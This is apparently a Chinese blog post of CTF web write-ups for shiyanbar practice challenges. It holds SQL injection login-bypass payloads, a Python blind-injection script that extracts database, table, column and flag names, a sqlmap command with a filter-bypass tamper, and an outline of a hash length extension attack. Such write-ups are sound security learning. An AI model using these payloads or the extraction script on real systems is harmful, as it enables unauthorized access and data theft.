目录
写在前面
之前做的,整理笔记发出来记录一下
一、登陆一下好吗??
根据提示:
说明是一个注入题目,由于已经说了过滤了一切,所以需要看看到底过滤了什么。
提交:
username=' and or union select " < ( ) >-- #aa&password=
返回:
username:' and " < ( ) > aa
说明过滤了 or union select -- #
重新来审视这个题目,页面是一个登陆的页面,提示注入,出题者的意图其实就是让我们使用万能密码的方式进行登陆,登陆成功后,就是成功注入。但是经过上面的尝试可以知道,万能密码所需要的关键字:or union select已经被过滤了。这就需要根据实际情况进行测试了,我们可以猜测系统登陆的代码如下:
$sql = “ select * from user where username='username' and password='password' ”
也就是说,现在我们需要做的就让这句SQL语句的查询结果为真。所以可以这样来写:
提交:username=thisistest'='0&password=thisistest'='0
于是传入的语句变为:
Select * from user where username=' thisistest'='0 ' and password=' thisistest'='0 '
这里有四个等号,存在四次判断。
1.从数据库中查找用户名为thisistest的用户,若存在,返回1,否则返回0
2.查询结果和0进行比较
3.从数据库中查找密码为thisistest的密文,若存在,返回1,否则返回0
4.查询结果和0比较
可以实际通过数据库进行测试,如下图:
当查询username=ceshi&password=ceshi的时候,查询结果都为0,因此和0比较的结果都为真,因此整个语句的结果为真。所以最终得到flag:
二、因缺思汀的绕过
查看网页源代码可以发现:
访问可以发现:
代码如下:
<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "水可载舟,亦可赛艇!";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>
定义一个函数AttackFilter,判断POST提交的内容是否含有and|select|from|where|union|join|sleep|benchmark|,|(|)关键字符,若存在,则返回水可载舟,亦可覆舟。题目要求我们使SQL查询语句为真并且提交的pwd值和系统的的pwd值相等,就可以拿到flag。
首先看下关键点一:
if (mysql_num_rows($query) == 1)
我们不知道系统中有哪些用户名,因此只能选择绕过,即让其查询的结果为真。所以可以构造:uname=admin’ or 1 limit 1
这里添加Limit 1的原因是mysql_num_rows($query) == 1,要求只能有一条记录,如果我们不添加limit 1 是无法绕过这个判断,这其实也就为下面做了一个铺垫,数据库中不止一条记录。可以使用offset 关键字查看一共有多少条记录,如下图:
Offset 0和Offset1绕过,offset 2未绕过,说明数据库中是存在两条数据的。
注:offset 0 意思是从第一行开始查询offset 1意思是从第二行开始查询
下面就是第二个关键点了,在于如何绕过$key['pwd'] == $_POST['pwd']
这里其实我也没有做出来,看了答案,然后查了资料才懂,先把答案贴出来:
uname=admin' or 1 group by pwd with rollup limit 1 offset 2 #&pwd=
可以看到,在上面语句的基础上,加了group by pwd with rollup这个语句,这个语句有什么用呢?来看看实际对数据库操作:
通过三个图的对比其实就可以看到,如果添加了group by * with rollup,该条语句所返回的结果集,可以理解为各个分组所产生的结果集的并集且没有去掉重复数据。如语句:
Select * from admin group by password with rollup;
返回的是
除去password重复的值后,新增了password为NULL的值,然后列举出来数据。
所以语句uname=admin' or 1 group by pwd with rollup limit 1 offset 2 #&pwd=
的意思就是这样,以pwd列查询,除去重复的值,添加一条pwd为NULL的数据,因此我们提交的pwd为空,即可满足$key['pwd'] == $_POST['pwd'],成功拿到flag。
三、简单的SQL注入之3
根据题目提示,是SQL报错注入。经过简单的测试,发现是布尔型盲注。
所以利用脚本如下:
import requests
requests.adapters.DEFAULT_RETRIES = 150
s = requests.session()
s.keep_alive = False
newheader=dict()
newheader['Connection']='close'
len_database = ""
len_table = ""
len_columns = ""
database = ""
table = ""
column = ""
flag = ""
#获取数据库名长度
for i in range(1,20):
url01 = "http://ctf5.shiyanbar.com/web/index_3.php?id=1'and length(database())>"+ str(i) +"%23"
re = requests.get(url01,newheader)
if re.text.encode('GBK','ignore').find('Hello')==-1:
len_database = i
break
#获取数据库名称
for i in range(1,len_database+1):
for j in range(33,126):
url02 = "http://ctf5.shiyanbar.com/web/index_3.php?id=1'and ascii(substr((select database())," + str(i) + ",1))>" + str(j) + "%23"
#print url02
re = requests.get(url02,newheader)
if re.text.encode('GBK','ignore').find('Hello')==-1:
database = database + chr(j)
break
#获取表名长度
for i in range(1,20):
url03 = "http://ctf5.shiyanbar.com/web/index_3.php?id=1' and (select length(table_name) from information_schema.tables where table_schema='"+database+"' limit 0,1)>"+str(i)+" %23"
#print url03
re = requests.get(url03,newheader)
if re.text.encode('GBK','ignore').find('Hello')==-1:
len_table = i
break
#获取表名
for i in range(1,len_table+1):
for j in range(33,126):
url04 = "http://ctf5.shiyanbar.com/web/index_3.php?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema='"+database+"' limit 0,1),+"+ str(i) +",1))>"+str(j)+"%23"
#print url04
re = requests.get(url04,newheader)
if re.text.encode('GBK','ignore').find('Hello')==-1:
table = table + chr(j)
break
#获取列名长度
for i in range(1,10):
url05 = "http://ctf5.shiyanbar.com/web/index_3.php?id=1' and (select length(column_name) from information_schema.columns where table_name = '"+table+"' limit 0,1)>"+str(i)+"%23"
#print url05
re = requests.get(url05,newheader)
if re.text.encode('GBK','ignore').find('Hello')==-1:
len_columns = i
break
#获取列名
for i in range(1,len_table+1):
for j in range(33,126):
url06 = "http://ctf5.shiyanbar.com/web/index_3.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = '"+table+"' limit 0,1),"+str(i)+", 1))>"+str(j)+"%23"
#print url06
re = requests.get(url06,newheader)
if re.text.encode('GBK','ignore').find('Hello')==-1:
column = column + chr(j)
break
#获取flag
for i in range(1,40):
for j in range(33,126):
url07 = "http://ctf5.shiyanbar.com/web/index_3.php?id=1'and ascii(substr((select "+column+" from "+table+" limit 0,1),"+str(i)+", 1))"+str(j)+"%23"
#print url07
re = requests.get(url07,newheader)
if re.text.encode('GBK','ignore').find('Hello')==-1:
flag = flag + chr(j)
break
print "The database is:"+database
print "The table is:"+table
print "The column is:"+column
print "The flag is:"+flag
这题其实可以直接用SQLMAP跑,如下图:
四、简单的sql注入之2
这题其实和简单的sql注入之3很相似,不过经过测试,本题过滤了空格。使用sqlmap自带的space2comment.py绕waf模块即可。
python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --tamper "space2comment.py" --level 3-D web1 -T flag -C flag --dump
五、简单的SQL注入
这题和简单的SQL注入之2类似,也过滤了很多东西,比如select union 空格等,但是关键的地方在于,过滤仅仅是将这些敏感字符转换为空字符,因此只需要重复写一遍就可以。
Playload:
1' unionunion selectselect flag fromfrom flag wherewhere '1'='1
六、天下武功唯快不破
根据提示:看看响应头
因此使用Burp抓包,可以看到:
明显的是base64格式,拿去解密:
查看源代码可以发现:
让我们以POST的方式,提交解密后的值,于是提交:
提示我们太慢了。
后来观察发现,每一次刷新,其响应的FLAG头是在不断变化的,因此只能写脚本去获取Flag。
脚本如下:
import requests
import base64
url = 'http://ctf5.shiyanbar.com/web/10/10.php'
re = requests.get(url)
flag = base64.b64decode(re.headers['flag']).split(':')[1]
value = {'key':flag}
result = requests.post(url = url,data = value)
print result.text
运行脚本,得到flag
七、让我进去
不得不说,这题又有新知识了。
首先题目提示:你可能希望知道服务器端发生了什么。。
于是抓包,观察:
发现了两个特殊的地方,一个是hash,一个是source=0,一般在cookie中值为0的项,都有奥秘,于是改成1后:
爆出源码:
<?php
$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!
$username = $_POST["username"];
$password = $_POST["password"];
if (!empty($_COOKIE["getmein"])) {
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));
if (empty($_COOKIE["source"])) {
setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
if ($_COOKIE["source"] != 0) {
echo ""; // This source code is outputted here
}
}
阅读完后,我们知道几个信息:
1、secret的长度为15
2、password的值不能为admin
3、只有cookie中存在getmein字段,并且getmein字段的值和md5($secret .urldecode($username . $password)相等,才能拿到flag
4、sample-hash的值和secret相关,并且sample-hash值是由secret加上字符串adminadmin后经md5得出
因此,我们想要得到flag的思路就清楚了,就是要构造MD5值,使其经过验证。这里利用了hash长度扩展攻击,简而言之,就是利用
md5、sha1 等加密算法的缺陷,可以在不知道原始密钥的情况下来进行计算出一个对应的 hash 值。
于是在看回来,抓包可以看到:
sample-hash=571580b26c65f306376d4f64e53cb5c7
这个值也就是由未知的15位secret+adminadmin经过md5形成的加密串。所以在这里就可以利用HASH长度扩展攻击来构造一个cookie值使其相等。
由于时间关系也就没继续搞了。有兴趣可以自己实践一下。
资料:
hash哈希长度扩展攻击解析
沙发是我的了,哈哈
楼主用的什么浏览器扩展?能分享一下吗